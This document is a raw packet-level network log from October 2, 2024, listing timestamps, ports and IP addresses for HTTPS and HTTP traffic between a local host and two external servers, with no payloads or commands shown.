Oct 2, 2024 05:29:26.025312901 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:26.084849119 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:26.084878922 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:26.084976912 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:26.084990978 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:26.085076094 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:26.090693951 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:26.090714931 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:26.090846062 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:26.090862989 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:26.090919971 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:26.091217041 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:26.091233015 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:26.091317892 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:26.091325998 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:26.091366053 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:26.150733948 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:26.150753021 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:26.150830030 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:26.150844097 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:26.150897026 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:26.150897026 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:26.157181978 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:26.157197952 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:26.157269955 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:26.157279968 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:26.157346964 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:26.157671928 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:26.157685041 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:26.157723904 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:26.157731056 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:26.157803059 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:26.217629910 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:26.217650890 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:26.217751026 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:26.217770100 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:26.217823029 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:26.328957081 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:26.328979015 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:26.329034090 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:26.329047918 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:26.329063892 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:26.329149961 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:26.349323988 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:26.349337101 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:26.349550962 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:26.349566936 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:26.349685907 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:26.349843025 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:26.349855900 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:26.349946022 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:26.349946022 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:26.349952936 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:26.350001097 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:26.356503010 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:26.356518030 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:26.356587887 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:26.356599092 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:26.356636047 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:26.356661081 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:26.415853977 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:26.415870905 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:26.415991068 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:26.416002035 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:26.416079998 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:26.423029900 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:26.423046112 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:26.423106909 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:26.423115015 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:26.423130035 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:26.423151016 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:26.481825113 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:26.481842041 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:26.481905937 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:26.481915951 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:26.481977940 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:26.481977940 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:26.488615036 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:26.488632917 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:26.488684893 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:26.488691092 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:26.488746881 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:26.488746881 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:26.547872066 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:26.547887087 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:26.547946930 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:26.547955990 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:26.548012018 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:26.555083036 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:26.555098057 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:26.555207968 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:26.555212975 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:26.555254936 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:26.594264984 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:26.594283104 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:26.594405890 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:26.594414949 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:26.594464064 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:26.620148897 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:26.620173931 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:26.620302916 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:26.620313883 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:26.620404005 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:26.659837008 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:26.659856081 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:26.660079956 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:26.660090923 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:26.660164118 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:26.680860043 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:26.680875063 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:26.680967093 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:26.680974007 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:26.681016922 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:26.681016922 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:26.687973022 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:26.687988043 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:26.688051939 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:26.688059092 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:26.688097000 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:26.746963978 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:26.746979952 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:26.747118950 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:26.747118950 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:26.747129917 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:26.747195959 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:26.754125118 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:26.754139900 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:26.754215002 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:26.754221916 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:26.754316092 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:26.813039064 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:26.813055038 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:26.813133001 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:26.813143015 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:26.813189030 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:26.820483923 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:26.820498943 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:26.820621967 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:26.820627928 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:26.820705891 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:26.857925892 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:26.857961893 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:26.858073950 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:26.858079910 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:26.858197927 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:26.879179955 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:26.879266024 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:26.879311085 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:26.879390001 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:26.881843090 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:26.967834949 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:26.972645044 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:26.972809076 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:26.972961903 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:26.977679014 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:27.676702976 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:27.676723957 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:27.676738024 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:27.676748991 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:27.676759958 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:27.676769972 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:27.676783085 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:27.676832914 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:27.676836014 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:27.676847935 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:27.676866055 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:27.676903963 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:27.676966906 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:27.681711912 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:27.681724072 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:27.681736946 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:27.681813002 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:27.723218918 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:27.805809021 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:27.805840969 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:27.805860996 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:27.805973053 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:27.806060076 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:27.806071043 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:27.806085110 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:27.806096077 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:27.806142092 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:27.806142092 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:27.806142092 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:27.806142092 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:27.806716919 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:27.806751966 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:27.806761980 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:27.806811094 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:27.806822062 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:27.806873083 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:27.806873083 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:27.807590008 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:27.807609081 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:27.807621002 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:27.807686090 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:27.807697058 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:27.807774067 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:27.807774067 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:27.807774067 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:27.808371067 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:27.808388948 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:27.808413982 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:27.808497906 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:27.808521986 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:27.808542967 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:27.808542967 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:27.811060905 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:27.811393023 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:27.935204983 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:27.935226917 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:27.935239077 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:27.935250044 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:27.935262918 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:27.935267925 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:27.935323954 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:27.935364962 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:27.935375929 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:27.935405970 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:27.935405970 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:27.935405970 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:27.935424089 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:27.935436010 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:27.935506105 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:27.935760021 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:27.935770035 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:27.935781956 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:27.935849905 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:27.935859919 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:27.935859919 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:27.935861111 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:27.935872078 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:27.936103106 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:27.936244965 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:27.936255932 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:27.936266899 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:27.936301947 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:27.936346054 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:27.936351061 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:27.936357975 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:27.936369896 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:27.936381102 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:27.936541080 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:27.936541080 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:27.936849117 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:27.936861038 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:27.936872005 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:27.936913013 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:27.936939955 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:27.936949968 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:27.936960936 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:27.936973095 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:27.937057018 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:27.937057018 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:27.937067032 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:27.937077999 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:27.937098026 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:27.937109947 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:27.937124014 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:27.937181950 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:27.937820911 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:27.937832117 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:27.937844038 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:27.937887907 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:27.937927008 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:27.937937975 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:27.937948942 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:27.937959909 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:27.937980890 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:27.937980890 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:27.937995911 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:27.938000917 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:27.938023090 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:27.938033104 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:27.938055992 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:27.988951921 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.064408064 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.064433098 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.064445972 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.064456940 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.064480066 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.064491034 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.064501047 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.064511061 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.064517975 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.064522982 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.064538002 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.064549923 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.064553976 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.064564943 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.064588070 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.064620018 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.064929008 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.064979076 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.064989090 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.065022945 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.065023899 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.065032959 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.065162897 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.065190077 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.065201044 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.065212011 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.065269947 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.065282106 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.065289974 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.065289974 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.065320015 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.065476894 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.065495968 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.065509081 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.065536976 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.065607071 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.065618038 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.065628052 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.065640926 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.065663099 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.065687895 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.065766096 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.065777063 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.065787077 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.065799952 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.065812111 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.065819025 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.065819025 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.065854073 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.065884113 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.065893888 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.065903902 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.065952063 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.066412926 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.066422939 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.066433907 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.066483021 CEST	49707	80	192.168.2.10	45.90.89.123
